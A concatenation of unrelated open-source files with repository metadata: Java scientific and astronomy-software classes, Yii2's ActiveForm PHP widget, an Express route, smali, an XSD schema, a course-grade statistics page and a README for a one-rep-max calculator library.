this.funcWithEquationSet); lowerBoundEquations = new DifferentialEquations(lowerTables, this.funcWithEquationSet); super.evaluateVector(delay); } @Override protected void evaluateInternal(int delay, int[] indices) { int numberOfInputs = inputKnowledgeFields.size(); double[] yUp = new double[numberOfInputs]; double[] yLow = new double[numberOfInputs]; // Fill the initial vectors with default values. int c = 0; for(KnowledgeField<?> inputField : inputKnowledgeFields) { KnowledgeFieldNumeric numericInputField = (KnowledgeFieldNumeric)inputField; yUp[c] = numericInputField.getValue(indices[c]).getUpperBound(); yLow[c] = numericInputField.getValue(indices[c]).getLowerBound(); ++c; } // Run integrator over the differential equations with initial vectors. integratorProvider.getIntegrator().integrate(upperBoundEquations, 0, yUp, delay, yUp); integratorProvider.getIntegrator().integrate(lowerBoundEquations, 0, yLow, delay, yLow); // Set the last value of the array as a result of the computation. ((KnowledgeFieldNumeric) outputKnowledgeField).addComputedValue( new DoubleInterval(yUp[numberOfInputs-1], yLow[numberOfInputs-1])); } @Override public void assertConfiguration(ErrorReporter errorReporter) { super.assertConfiguration(errorReporter); } }
{ "content_hash": "41ea5e95d2a3fcca4979c173b5d781be", "timestamp": "", "source": "github", "line_count": 96, "max_line_length": 97, "avg_line_length": 41.729166666666664, "alnum_prop": 0.7830753869196205, "repo_name": "CodePhill/DEECo-Timing-Analysis", "id": "5d1d7b9d16d7f0e42a58a26baf65d949ecb674c5", "size": "4006", "binary": false, "copies": "1", "ref": "refs/heads/master", "path": "src/cz.cuni.mff.d3s.jdeeco.analysis/src/cz/cuni/mff/d3s/deeco/analysis/entities/FuncWrapperDifferential.java", "mode": "33188", "license": "mit", "language": [ { "name": "HTML", "bytes": "8366" }, { "name": "Java", "bytes": "649275" } ], "symlink_target": "" }
<?php namespace yii\widgets; use Yii; use yii\base\Widget; use yii\base\Model; use yii\helpers\Url; use yii\helpers\Html; use yii\helpers\Json; use yii\web\JsExpression; /** * ActiveForm ... * * @author Qiang Xue <qiang.xue@gmail.com> * @since 2.0 */ class ActiveForm extends Widget { /** * @param array|string $action the form action URL. This parameter will be processed by [[\yii\helpers\Url::to()]]. * @see method for specifying the HTTP method for this form. */ public $action = ''; /** * @var string the form submission method. This should be either 'post' or 'get'. Defaults to 'post'. * * When you set this to 'get' you may see the url parameters repeated on each request. * This is because the default value of [[action]] is set to be the current request url and each submit * will add new parameters instead of replacing existing ones. * You may set [[action]] explicitly to avoid this: * * ```php * $form = ActiveForm::begin([ * 'method' => 'get', * 'action' => ['controller/action'], * ]); * ``` */ public $method = 'post'; /** * @var array the HTML attributes (name-value pairs) for the form tag. * @see \yii\helpers\Html::renderTagAttributes() for details on how attributes are being rendered. */ public $options = []; /** * @var array the default configuration used by [[field()]] when creating a new field object. */ public $fieldConfig; /** * @var boolean whether to perform encoding on the error summary. */ public $encodeErrorSummary = true; /** * @var string the default CSS class for the error summary container. * @see errorSummary() */ public $errorSummaryCssClass = 'error-summary'; /** * @var string the CSS class that is added to a field container when the associated attribute is required. */ public $requiredCssClass = 'required'; /** * @var string the CSS class that is added to a field container when the associated attribute has validation error. */ public $errorCssClass = 'has-error'; /** * @var string the CSS class that is added to a field container when the associated attribute is successfully validated. */ public $successCssClass = 'has-success'; /** * @var string the CSS class that is added to a field container when the associated attribute is being validated. */ public $validatingCssClass = 'validating'; /** * @var boolean whether to enable client-side data validation. * If [[ActiveField::enableClientValidation]] is set, its value will take precedence for that input field. */ public $enableClientValidation = true; /** * @var boolean whether to enable AJAX-based data validation. * If [[ActiveField::enableAjaxValidation]] is set, its value will take precedence for that input field. */ public $enableAjaxValidation = false; /** * @var array|string the URL for performing AJAX-based validation. This property will be processed by * [[Url::to()]]. Please refer to [[Url::to()]] for more details on how to configure this property. * If this property is not set, it will take the value of the form's action attribute. */ public $validationUrl; /** * @var boolean whether to perform validation when the form is submitted. */ public $validateOnSubmit = true; /** * @var boolean whether to perform validation when an input field loses focus and its value is found changed. * If [[ActiveField::validateOnChange]] is set, its value will take precedence for that input field. */ public $validateOnChange = true; /** * @var boolean whether to perform validation while the user is typing in an input field. * If [[ActiveField::validateOnType]] is set, its value will take precedence for that input field. * @see validationDelay */ public $validateOnType = false; /** * @var integer number of milliseconds that the validation should be delayed when an input field * is changed or the user types in the field. * If [[ActiveField::validationDelay]] is set, its value will take precedence for that input field. */ public $validationDelay = 200; /** * @var string the name of the GET parameter indicating the validation request is an AJAX request. */ public $ajaxParam = 'ajax'; /** * @var string the type of data that you're expecting back from the server. */ public $ajaxDataType = 'json'; /** * @var string|JsExpression a JS callback that will be called when the form is being submitted. * The signature of the callback should be: * * ~~~ * function ($form) { * ...return false to cancel submission... * } * ~~~ */ public $beforeSubmit; /** * @var string|JsExpression a JS callback that is called before validating an attribute. * The signature of the callback should be: * * ~~~ * function ($form, attribute, messages) { * ...return false to cancel the validation... * } * ~~~ */ public $beforeValidate; /** * @var string|JsExpression a JS callback that is called before any validation has run (Only called when the form is submitted). * The signature of the callback should be: * * ~~~ * function ($form, data) { * ...return false to cancel the validation... * } * ~~~ */ public $beforeValidateAll; /** * @var string|JsExpression a JS callback that is called after validating an attribute. * The signature of the callback should be: * * ~~~ * function ($form, attribute, messages) { * } * ~~~ */ public $afterValidate; /** * @var string|JsExpression a JS callback that is called after all validation has run (Only called when the form is submitted). * The signature of the callback should be: * * ~~~ * function ($form, data, messages) { * } * ~~~ */ public $afterValidateAll; /** * @var string|JsExpression a JS pre-request callback function on AJAX-based validation. * The signature of the callback should be: * * ~~~ * function ($form, jqXHR, textStatus) { * } * ~~~ */ public $ajaxBeforeSend; /** * @var string|JsExpression a JS callback to be called when the request finishes on AJAX-based validation. * The signature of the callback should be: * * ~~~ * function ($form, jqXHR, textStatus) { * } * ~~~ */ public $ajaxComplete; /** * @var array the client validation options for individual attributes. Each element of the array * represents the validation options for a particular attribute. * @internal */ public $attributes = []; /** * Initializes the widget. * This renders the form open tag. */ public function init() { if (!isset($this->options['id'])) { $this->options['id'] = $this->getId(); } if (!isset($this->fieldConfig['class'])) { $this->fieldConfig['class'] = ActiveField::className(); } echo Html::beginForm($this->action, $this->method, $this->options); } /** * Runs the widget. * This registers the necessary javascript code and renders the form close tag. */ public function run() { if (!empty($this->attributes)) { $id = $this->options['id']; $options = Json::encode($this->getClientOptions()); $attributes = Json::encode($this->attributes); $view = $this->getView(); ActiveFormAsset::register($view); $view->registerJs("jQuery('#$id').yiiActiveForm($attributes, $options);"); } echo Html::endForm(); } /** * Returns the options for the form JS widget. * @return array the options */ protected function getClientOptions() { $options = [ 'encodeErrorSummary' => $this->encodeErrorSummary, 'errorSummary' => '.' . implode('.', preg_split('/\s+/', $this->errorSummaryCssClass, -1, PREG_SPLIT_NO_EMPTY)), 'validateOnSubmit' => $this->validateOnSubmit, 'errorCssClass' => $this->errorCssClass, 'successCssClass' => $this->successCssClass, 'validatingCssClass' => $this->validatingCssClass, 'ajaxParam' => $this->ajaxParam, 'ajaxDataType' => $this->ajaxDataType, ]; if ($this->validationUrl !== null) { $options['validationUrl'] = Url::to($this->validationUrl); } foreach (['beforeSubmit', 'beforeValidate', 'beforeValidateAll', 'afterValidate', 'afterValidateAll', 'ajaxBeforeSend', 'ajaxComplete'] as $name) { if (($value = $this->$name) !== null) { $options[$name] = $value instanceof JsExpression ? $value : new JsExpression($value); } } return $options; } /** * Generates a summary of the validation errors. * If there is no validation error, an empty error summary markup will still be generated, but it will be hidden. * @param Model|Model[] $models the model(s) associated with this form * @param array $options the tag options in terms of name-value pairs. The following options are specially handled: * * - header: string, the header HTML for the error summary. If not set, a default prompt string will be used. * - footer: string, the footer HTML for the error summary. * * The rest of the options will be rendered as the attributes of the container tag. The values will * be HTML-encoded using [[\yii\helpers\Html::encode()]]. If a value is null, the corresponding attribute will not be rendered. * @return string the generated error summary * @see errorSummaryCssClass */ public function errorSummary($models, $options = []) { Html::addCssClass($options, $this->errorSummaryCssClass); $options['encode'] = $this->encodeErrorSummary; return Html::errorSummary($models, $options); } /** * Generates a form field. * A form field is associated with a model and an attribute. It contains a label, an input and an error message * and use them to interact with end users to collect their inputs for the attribute. * @param Model $model the data model * @param string $attribute the attribute name or expression. See [[Html::getAttributeName()]] for the format * about attribute expression. * @param array $options the additional configurations for the field object * @return ActiveField the created ActiveField object * @see fieldConfig */ public function field($model, $attribute, $options = []) { return Yii::createObject(array_merge($this->fieldConfig, $options, [ 'model' => $model, 'attribute' => $attribute, 'form' => $this, ])); } /** * Validates one or several models and returns an error message array indexed by the attribute IDs. * This is a helper method that simplifies the way of writing AJAX validation code. * * For example, you may use the following code in a controller action to respond * to an AJAX validation request: * * ~~~ * $model = new Post; * $model->load($_POST); * if (Yii::$app->request->isAjax) { * Yii::$app->response->format = Response::FORMAT_JSON; * return ActiveForm::validate($model); * } * // ... respond to non-AJAX request ... * ~~~ * * To validate multiple models, simply pass each model as a parameter to this method, like * the following: * * ~~~ * ActiveForm::validate($model1, $model2, ...); * ~~~ * * @param Model $model the model to be validated * @param mixed $attributes list of attributes that should be validated. * If this parameter is empty, it means any attribute listed in the applicable * validation rules should be validated. * * When this method is used to validate multiple models, this parameter will be interpreted * as a model. * * @return array the error message array indexed by the attribute IDs. */ public static function validate($model, $attributes = null) { $result = []; if ($attributes instanceof Model) { // validating multiple models $models = func_get_args(); $attributes = null; } else { $models = [$model]; } /* @var $model Model */ foreach ($models as $model) { $model->validate($attributes); foreach ($model->getErrors() as $attribute => $errors) { $result[Html::getInputId($model, $attribute)] = $errors; } } return $result; } /** * Validates an array of model instances and returns an error message array indexed by the attribute IDs. * This is a helper method that simplifies the way of writing AJAX validation code for tabular input. * * For example, you may use the following code in a controller action to respond * to an AJAX validation request: * * ~~~ * // ... load $models ... * if (Yii::$app->request->isAjax) { * Yii::$app->response->format = Response::FORMAT_JSON; * return ActiveForm::validateMultiple($models); * } * // ... respond to non-AJAX request ... * ~~~ * * @param array $models an array of models to be validated. * @param mixed $attributes list of attributes that should be validated. * If this parameter is empty, it means any attribute listed in the applicable * validation rules should be validated. * @return array the error message array indexed by the attribute IDs. */ public static function validateMultiple($models, $attributes = null) { $result = []; /* @var $model Model */ foreach ($models as $i => $model) { $model->validate($attributes); foreach ($model->getErrors() as $attribute => $errors) { $result[Html::getInputId($model, "[$i]" . $attribute)] = $errors; } } return $result; } }
{ "content_hash": "c96e78e39900787547110c084d4eb77c", "timestamp": "", "source": "github", "line_count": 394, "max_line_length": 155, "avg_line_length": 36.796954314720814, "alnum_prop": 0.6105669747551387, "repo_name": "alsotang/Graduation-Project", "id": "c0381b35e3bf31a001da44f92497c9c7bb6604c0", "size": "14642", "binary": false, "copies": "3", "ref": "refs/heads/master", "path": "vendor/yiisoft/yii2/widgets/ActiveForm.php", "mode": "33261", "license": "bsd-3-clause", "language": [ { "name": "ASP", "bytes": "43520" }, { "name": "CSS", "bytes": "246159" }, { "name": "JavaScript", "bytes": "4931985" }, { "name": "PHP", "bytes": "345120" }, { "name": "Perl", "bytes": "51" }, { "name": "Shell", "bytes": "2072" } ], "symlink_target": "" }
import { Router } from 'express'; import { getDiaperTypes } from './diaperTypesSqlite'; const router = new Router(); router.get('/', async (req, res, next) => { try { res.json(await getDiaperTypes()); } catch (err) { next(err.message); } }); export default router;
{ "content_hash": "5e6450f41c94de849f0040a8772adb4d", "timestamp": "", "source": "github", "line_count": 15, "max_line_length": 53, "avg_line_length": 18.866666666666667, "alnum_prop": 0.6289752650176679, "repo_name": "hourliert/diaper-project", "id": "af3e53c0fec92c666c2bcc9cc0670f1588005f7c", "size": "283", "binary": false, "copies": "1", "ref": "refs/heads/master", "path": "src/api/diaperTypes/index.js", "mode": "33188", "license": "mit", "language": [ { "name": "JavaScript", "bytes": "72207" } ], "symlink_target": "" }
// Copyright 1999-2000 // Association for Universities for Research in Astronomy, Inc., // Observatory Control System, Gemini Telescopes Project. // See the file LICENSE for complete details. // // $Id: ObservationNI.java 46768 2012-07-16 18:58:53Z rnorris $ // package edu.gemini.spModel.gemini.init; import edu.gemini.pot.sp.*; import edu.gemini.shared.util.immutable.None; import edu.gemini.spModel.config.IConfigBuilder; import edu.gemini.spModel.gemini.obscomp.GemObservationCB; import edu.gemini.spModel.gemini.obscomp.SPSiteQuality; import edu.gemini.spModel.obs.ObsPhase2Status; import edu.gemini.spModel.obs.ObsQaState; import edu.gemini.spModel.obs.SPObservation; import edu.gemini.spModel.obslog.ObsExecLog; import edu.gemini.spModel.obslog.ObsQaLog; import edu.gemini.spModel.obsrecord.ObsExecStatus; import edu.gemini.spModel.seqcomp.InstrumentSequenceSync; import edu.gemini.spModel.seqcomp.SeqBase; import edu.gemini.spModel.target.obsComp.TargetObsComp; import edu.gemini.spModel.telescope.IssPortSync; import edu.gemini.spModel.too.Too; import edu.gemini.spModel.too.TooType; import java.util.ArrayList; import java.util.List; import java.util.logging.Level; import java.util.logging.Logger; /** * Initializes <code>{@link ISPObservation}</code> nodes. */ public class ObservationNI implements ISPNodeInitializer { private static final Logger LOG = Logger.getLogger(ObservationNI.class.getName()); /** * A special instance for use when importing programs from XML */ public static ObservationNI NO_CHILDREN_INSTANCE = new ObservationNI() { protected void addSubnodes(ISPFactory factory, ISPObservation obsNode) { } }; /** * Initializes the given <code>node</code>. * Implements <code>{@link ISPNodeInitializer}</code> * * @param factory the factory that may be used to create any required * science program nodes * @param node the science program node to be initialized */ public void initNode(ISPFactory factory, ISPNode node) { // The data is stored in an SPObservation object set as the // data object of this ObsComponent. final ISPObservation obsNode = (ISPObservation) node; final SPObservation dataObj = new SPObservation(); node.setDataObject(dataObj); // Add the standard subnodes addSubnodes(factory, obsNode); // Set the configuration builder updateNode(node); } /** * Add the standard observation subnodes. */ protected void addSubnodes(ISPFactory factory, ISPObservation obsNode) { // All observations come with: // 1. A SiteQuality obscomp // 2. A target list // 3. Obslog // 4. An empty seq component "folder" // 1,2. site quality and target ISPObsComponent siteQual; ISPObsComponent targetEnv; try { siteQual = factory.createObsComponent(obsNode.getProgram(), SPSiteQuality.SP_TYPE, null); targetEnv = factory.createObsComponent(obsNode.getProgram(), TargetObsComp.SP_TYPE, null); if (siteQual != null && targetEnv != null) { List<ISPObsComponent> l = new ArrayList<ISPObsComponent>(); l.add(siteQual); l.add(targetEnv); obsNode.setObsComponents(l); } } catch (SPException ex) { // If this fails, log a message. LOG.log(Level.SEVERE, "Failed while initializing observation conditions and target env.", ex); } // 3. obslog try { obsNode.setObsExecLog(factory.createObsExecLog(obsNode.getProgram(), null)); obsNode.setObsQaLog(factory.createObsQaLog(obsNode.getProgram(), null)); } catch (Exception ex) { LOG.log(Level.SEVERE, "Failed while initializing obslog.", ex); throw new RuntimeException(ex); } // 4. sequence root ISPSeqComponent seqRoot; try { seqRoot = factory.createSeqComponent(obsNode.getProgram(), SeqBase.SP_TYPE, null); if (seqRoot != null) { obsNode.setSeqComponent(seqRoot); } } catch (SPException ex) { // If this fails, log a message. LOG.log(Level.SEVERE, "Failed while initializing an observation."); throw new RuntimeException(ex); } } /** * Updates the given <code>node</code>. This should be called on any new * nodes created by making a deep copy of another node, so that the user * objects are updated correctly. * * @param node the science program node to be updated */ public void updateNode(ISPNode node) { // Set the configuration builder ISPObservation obs = (ISPObservation) node; node.putClientData(IConfigBuilder.USER_OBJ_KEY, new GemObservationCB(obs)); node.putClientData(InstrumentSequenceSync.USER_OBJ_KEY, InstrumentSequenceSync.instance); // Turn off electronic offset sync for now. The only usage is // currently F2 and it has been modified to no longer support its own // offset positions. // node.putClientData("ElectronicOffsetSync", ElectronicOffsetSync.instance); node.putClientData("IssPortSync", IssPortSync.instance); } public static void reset(ISPObservation obs, boolean sameProgram) { SPObservation spObs = (SPObservation) obs.getDataObject(); // SCT-211: make sure that the target program TOO type is compatible // with the current setting of the observation TOO type. final TooType progTooType = Too.get(obs.getProgram()); switch (progTooType) { case none: case standard: spObs.setOverrideRapidToo(false); break; case rapid: // leave the override alone (i.e., keep if it exists) break; } // reset the time correction log and status in the copy // (SCT-211: but don't reset "on hold" TOO observations) // REL-373: On hold observations must revert to phase 2 when copied to another program if (!(sameProgram && Too.isToo(obs) && (spObs.getPhase2Status() == ObsPhase2Status.ON_HOLD))) { spObs.setPhase2Status(ObsPhase2Status.PI_TO_COMPLETE); spObs.setExecStatusOverride(None.<ObsExecStatus>instance()); } spObs.setOverriddenObsQaState(ObsQaState.UNDEFINED); spObs.setOverrideQaState(false); spObs.resetObsTimeCorrections(); // store changes obs.setDataObject(spObs); // Reset the observing log. final ISPObsQaLog qa = obs.getObsQaLog(); if (qa != null) qa.setDataObject(new ObsQaLog()); final ISPObsExecLog exec = obs.getObsExecLog(); if (exec != null) exec.setDataObject(new ObsExecLog()); } }
{ "content_hash": "8b06e6c1819cc5696e8c6ab200c4a617", "timestamp": "", "source": "github", "line_count": 182, "max_line_length": 106, "avg_line_length": 38.51648351648352, "alnum_prop": 0.651925820256776, "repo_name": "arturog8m/ocs", "id": "3f9238569e0d0fa6b39ffc181bd6a24455ac14a2", "size": "7010", "binary": false, "copies": "2", "ref": "refs/heads/develop", "path": "bundle/edu.gemini.pot/src/main/java/edu/gemini/spModel/gemini/init/ObservationNI.java", "mode": "33188", "license": "bsd-3-clause", "language": [ { "name": "CSS", "bytes": "7919" }, { "name": "HTML", "bytes": "490242" }, { "name": "Java", "bytes": "14504312" }, { "name": "JavaScript", "bytes": "7962" }, { "name": "Scala", "bytes": "4967047" }, { "name": "Shell", "bytes": "4989" }, { "name": "Tcl", "bytes": "2841" } ], "symlink_target": "" }
package de.interseroh.report.domain; /** * @author Ingo Düppe (Crowdcode) */ public class SelectionOption { private String displayName; private String value; public String getDisplayName() { return displayName; } public void setDisplayName(String displayName) { this.displayName = displayName; } public SelectionOption withDisplayName(final String displayName) { this.displayName = displayName; return this; } public String getValue() { return value; } public void setValue(String value) { this.value = value; } public SelectionOption withValue(final String value) { this.value = value; return this; } @Override public String toString() { return "{" + "'" + value + "='" + displayName + '\'' + '}'; } @Override public boolean equals(Object o) { if (this == o) return true; if (o == null || getClass() != o.getClass()) return false; SelectionOption that = (SelectionOption) o; return !(value != null ? !value.equals(that.value) : that.value != null); } @Override public int hashCode() { return value != null ? value.hashCode() : 0; } }
{ "content_hash": "ce7cf5dfae60d377e90fc278da45d24b", "timestamp": "", "source": "github", "line_count": 61, "max_line_length": 67, "avg_line_length": 19.24590163934426, "alnum_prop": 0.6337308347529813, "repo_name": "interseroh/report-cockpit-birt-web", "id": "c8fbc8c97bf597a31e7af5f0fd52b8c24558671b", "size": "2037", "binary": false, "copies": "1", "ref": "refs/heads/master", "path": "src/main/java/de/interseroh/report/domain/SelectionOption.java", "mode": "33188", "license": "apache-2.0", "language": [ { "name": "CSS", "bytes": "1466" }, { "name": "HTML", "bytes": "34173" }, { "name": "Java", "bytes": "325916" } ], "symlink_target": "" }
.class interface abstract Lorg/simpleframework/xml/core/Expression; .super Ljava/lang/Object; .source "Expression.java" # interfaces .implements Ljava/lang/Iterable; # annotations .annotation system Ldalvik/annotation/Signature; value = { "Ljava/lang/Object;", "Ljava/lang/Iterable", "<", "Ljava/lang/String;", ">;" } .end annotation # virtual methods .method public abstract getAttribute(Ljava/lang/String;)Ljava/lang/String; .end method .method public abstract getElement(Ljava/lang/String;)Ljava/lang/String; .end method .method public abstract getFirst()Ljava/lang/String; .end method .method public abstract getIndex()I .end method .method public abstract getLast()Ljava/lang/String; .end method .method public abstract getPath()Ljava/lang/String; .end method .method public abstract getPath(I)Lorg/simpleframework/xml/core/Expression; .end method .method public abstract getPath(II)Lorg/simpleframework/xml/core/Expression; .end method .method public abstract getPrefix()Ljava/lang/String; .end method .method public abstract isAttribute()Z .end method .method public abstract isEmpty()Z .end method .method public abstract isPath()Z .end method .method public abstract toString()Ljava/lang/String; .end method
{ "content_hash": "bc39d1f08e774bfd3f304abdb627fce0", "timestamp": "", "source": "github", "line_count": 59, "max_line_length": 76, "avg_line_length": 21.728813559322035, "alnum_prop": 0.7527301092043682, "repo_name": "BatMan-Rom/ModdedFiles", "id": "bce93962e984c8dce8d677882b55972b1c6c47b5", "size": "1282", "binary": false, "copies": "1", "ref": "refs/heads/master", "path": "services.jar.out/smali_classes2/org/simpleframework/xml/core/Expression.smali", "mode": "33188", "license": "apache-2.0", "language": [ { "name": "GLSL", "bytes": "15069" }, { "name": "HTML", "bytes": "139176" }, { "name": "Smali", "bytes": "541934400" } ], "symlink_target": "" }
<!-- ~ Licensed to the Apache Software Foundation (ASF) under one ~ or more contributor license agreements. See the NOTICE file ~ distributed with this work for additional information ~ regarding copyright ownership. The ASF licenses this file ~ to you under the Apache License, Version 2.0 (the ~ "License"); you may not use this file except in compliance ~ with the License. You may obtain a copy of the License at ~ ~ http://www.apache.org/licenses/LICENSE-2.0 ~ ~ Unless required by applicable law or agreed to in writing, ~ software distributed under the License is distributed on an ~ "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY ~ KIND, either express or implied. See the License for the ~ specific language governing permissions and limitations ~ under the License. --> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:ex="http://example.org" attributeFormDefault="qualified" elementFormDefault="qualified" targetNamespace="http://example.org"> <xs:element name="setS"> <xs:complexType> <xs:sequence> <xs:element minOccurs="0" name="s" nillable="true" type="xs:string"/> </xs:sequence> </xs:complexType> </xs:element> <xs:element name="setL"> <xs:complexType> <xs:sequence> <xs:element name="l" type="xs:long"/> </xs:sequence> </xs:complexType> </xs:element> <xs:element name="setI"> <xs:complexType> <xs:sequence> <xs:element name="i" type="xs:int"/> </xs:sequence> </xs:complexType> </xs:element> <xs:element name="setD"> <xs:complexType> <xs:sequence> <xs:element name="d" type="xs:double"/> </xs:sequence> </xs:complexType> </xs:element> <xs:element name="setC"> <xs:complexType> <xs:sequence> <xs:element name="c" type="xs:unsignedShort"/> </xs:sequence> </xs:complexType> </xs:element> <xs:element name="setBool"> <xs:complexType> <xs:sequence> <xs:element name="bool" type="xs:boolean"/> </xs:sequence> </xs:complexType> </xs:element> <xs:element name="setB"> <xs:complexType> <xs:sequence> <xs:element name="b" type="xs:byte"/> </xs:sequence> </xs:complexType> </xs:element> <xs:element name="isBool"> <xs:complexType> <xs:sequence/> </xs:complexType> </xs:element> <xs:element name="isBoolResponse"> <xs:complexType> <xs:sequence> <xs:element name="return" type="xs:boolean"/> </xs:sequence> </xs:complexType> </xs:element> <xs:element name="getS"> <xs:complexType> <xs:sequence/> </xs:complexType> </xs:element> <xs:element name="getSResponse"> <xs:complexType> <xs:sequence> <xs:element minOccurs="0" name="return" nillable="true" type="xs:string"/> </xs:sequence> </xs:complexType> </xs:element> <xs:element name="getL"> <xs:complexType> <xs:sequence/> </xs:complexType> </xs:element> <xs:element name="getLResponse"> <xs:complexType> <xs:sequence> <xs:element name="return" type="xs:long"/> </xs:sequence> </xs:complexType> </xs:element> <xs:element name="getI"> <xs:complexType> <xs:sequence/> </xs:complexType> </xs:element> <xs:element name="getIResponse"> <xs:complexType> <xs:sequence> <xs:element name="return" type="xs:int"/> </xs:sequence> </xs:complexType> </xs:element> <xs:element name="getD"> <xs:complexType> <xs:sequence/> </xs:complexType> </xs:element> <xs:element name="getDResponse"> <xs:complexType> <xs:sequence> <xs:element name="return" type="xs:double"/> </xs:sequence> </xs:complexType> </xs:element> <xs:element name="getC"> <xs:complexType> <xs:sequence/> </xs:complexType> </xs:element> <xs:element name="getCResponse"> <xs:complexType> <xs:sequence> <xs:element name="return" type="xs:unsignedShort"/> </xs:sequence> </xs:complexType> </xs:element> <xs:element name="getB"> <xs:complexType> <xs:sequence/> </xs:complexType> </xs:element> <xs:element name="getBResponse"> <xs:complexType> <xs:sequence> <xs:element name="return" type="xs:byte"/> </xs:sequence> </xs:complexType> </xs:element> </xs:schema>
{ "content_hash": "003062794df10c4730c0644ead650283", "timestamp": "", "source": "github", "line_count": 154, "max_line_length": 186, "avg_line_length": 32.201298701298704, "alnum_prop": 0.5472877596289575, "repo_name": "apache/axis2-java", "id": "0d192116860d3cab46b15ff9078247d3c16fedc0", "size": "4959", "binary": false, "copies": "2", "ref": "refs/heads/trunk", "path": "modules/kernel/test-resources/schemas/default_generator/ConcretePOJO-1.xml", "mode": "33188", "license": "apache-2.0", "language": [ { "name": "Batchfile", "bytes": "19815" }, { "name": "CSS", "bytes": "1580" }, { "name": "GAP", "bytes": "21127" }, { "name": "HTML", "bytes": "41421" }, { "name": "Java", "bytes": "19806994" }, { "name": "JavaScript", "bytes": "827" }, { "name": "Python", "bytes": "2262" }, { "name": "Shell", "bytes": "15832" }, { "name": "XSLT", "bytes": "1402274" } ], "symlink_target": "" }
<?php require_once (__DIR__ . '/Curl.class.php'); /** * Class Curl - wrapper under cURL functions * * Has a simple interface and supports external caching */ class FtpCurl extends Curl { } // EOF
{ "content_hash": "dd650fa033fd1703ba0e92013c105051", "timestamp": "", "source": "github", "line_count": 14, "max_line_length": 55, "avg_line_length": 14.5, "alnum_prop": 0.6600985221674877, "repo_name": "1099511627776/altocms", "id": "5b587666d5c90d1f6cf1d65942fd961993387e7a", "size": "778", "binary": false, "copies": "6", "ref": "refs/heads/master", "path": "engine/libs/Curl/FtpCurl.class.php", "mode": "33188", "license": "mit", "language": [ { "name": "ApacheConf", "bytes": "2828" }, { "name": "CSS", "bytes": "1616260" }, { "name": "HTML", "bytes": "118172" }, { "name": "JavaScript", "bytes": "744879" }, { "name": "PHP", "bytes": "6267432" }, { "name": "Shell", "bytes": "1440" }, { "name": "Smarty", "bytes": "1854966" }, { "name": "Yacc", "bytes": "44984" } ], "symlink_target": "" }
layout: page title: "APPM 8400: Mathematical Biology Seminar Statistics" comments: true description: "blanks" keywords: "APPM,8400,CU,Boulder" --- <head> <script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.3/jquery.min.js"></script> <script src="https://dl.dropboxusercontent.com/s/pc42nxpaw1ea4o9/highcharts.js?dl=0"></script> <!-- <script src="../assets/js/highcharts.js"></script> --> <style type="text/css">@font-face { font-family: "Bebas Neue"; src: url(https://www.filehosting.org/file/details/544349/BebasNeue Regular.otf) format("opentype"); } h1.Bebas { font-family: "Bebas Neue", Verdana, Tahoma; } </style> </head> <body> <div id="container" style="float: right; width: 45%; height: 88%; margin-left: 2.5%; margin-right: 2.5%;"></div> <script language="JavaScript"> $(document).ready(function() { var chart = {type: 'column'}; var title = {text: 'Grade Distribution'}; var xAxis = {categories: ['A','B','C','D','F'],crosshair: true}; var yAxis = {min: 0,title: {text: 'Percentage'}}; var tooltip = {headerFormat: '<center><b><span style="font-size:20px">{point.key}</span></b></center>', pointFormat: '<td style="padding:0"><b>{point.y:.1f}%</b></td>', footerFormat: '</table>',shared: true,useHTML: true}; var plotOptions = {column: {pointPadding: 0.0,borderWidth: 0}}; var credits = {enabled: false};var series= [{name: 'Percent',data: [100.0,0.0,0.0,0.0,0.0,]}]; var json = {}; json.chart = chart; json.title = title; json.tooltip = tooltip; json.xAxis = xAxis; json.yAxis = yAxis; json.series = series; json.plotOptions = plotOptions; json.credits = credits; $('#container').highcharts(json); }); </script> </body> #### GRADE AND WORKLOAD STATISTICS **Percent withdrawn**: 0.0% **Percent incomplete**: 0.0% **Average grade** (4.0 scale): 4.0 **Standard deviation in grades** (4.0 scale): 0.0 **Average workload** (raw): 1.0 **Standard deviation in workload** (raw): 0.0 #### COURSE AND INSTRUCTOR RATINGS/INFORMATION **Average course rating** (6 point scale): 5.67 **Standard deviation in course rating** (6 point scale): 0.33 **Average instructor rating** (6 point scale): 5.93 **Standard deviation in instructor rating** (6 point scale): 0.07 **Instructors**: <a href='../../instructors/David_Matthew_Bortz'>David Matthew Bortz</a>, <a href='../../instructors/Zachary_Peter_Kilpatrick'>Zachary Peter Kilpatrick</a> #### GENERAL CLASS INFORMATION **Years provided**: Fall 2016, Spring 2017 **Credits**: 1 **RAP/Honors class?** Neither **Number of Sections**: 2 **Department**: APPM **College**: College of Arts and Sciences **A&S Division**: Natural Sciences **Level**: Doctoral **Activity**: SEM - Seminar
{ "content_hash": "a0166121675a49d1b365b00e2acfd35b", "timestamp": "", "source": "github", "line_count": 91, "max_line_length": 171, "avg_line_length": 30.23076923076923, "alnum_prop": 0.6590330788804071, "repo_name": "nikhilrajaram/nikhilrajaram.github.io", "id": "e13cedab92893ad06bebb91f2639b8944e6c1334", "size": "2755", "binary": false, "copies": "1", "ref": "refs/heads/master", "path": "courses/APPM-8400.md", "mode": "33188", "license": "mit", "language": [ { "name": "CSS", "bytes": "15727" }, { "name": "HTML", "bytes": "48339721" }, { "name": "Python", "bytes": "9692" }, { "name": "Ruby", "bytes": "5940" } ], "symlink_target": "" }
1rm.js === [![Greenkeeper badge](https://badges.greenkeeper.io/bendrucker/1rm.js.svg)](https://greenkeeper.io/) Estimate one rep maximum lifts in JS using a variety of formulas ## Setup ```bash $ npm install 1rm ``` ```js var rm = require('1rm'); ``` ## Formulas * `epley`: [Epley](http://en.wikipedia.org/wiki/One-repetition_maximum#Epley_Formula) * `brzycki`: [Brzycki](http://en.wikipedia.org/wiki/One-repetition_maximum#Brzycki) * `lander`: [Lander](http://en.wikipedia.org/wiki/One-repetition_maximum#Lander) * `lombardi`: [Lombardi](http://en.wikipedia.org/wiki/One-repetition_maximum#Lombardi) * `mayhew`: [Mayhew et al.](http://en.wikipedia.org/wiki/One-repetition_maximum#Mayhew_et_al.) * `oconner`: [O'Conner et al.](http://en.wikipedia.org/wiki/One-repetition_maximum#O.27Conner_et_al.) * `wathan`: [Wathan](http://en.wikipedia.org/wiki/One-repetition_maximum#Wathan) ## API #### `{{method}}(weight, reps)` -> `Number` Accepts `weight` and `reps` both `Number` and outputs the estimated one rep maximum (also `Number`). For browser use, make sure to parse your numeric inputs. Numeric strings are not supported. ## Example ```js rm.epley(400, 4) // 453.33... ```
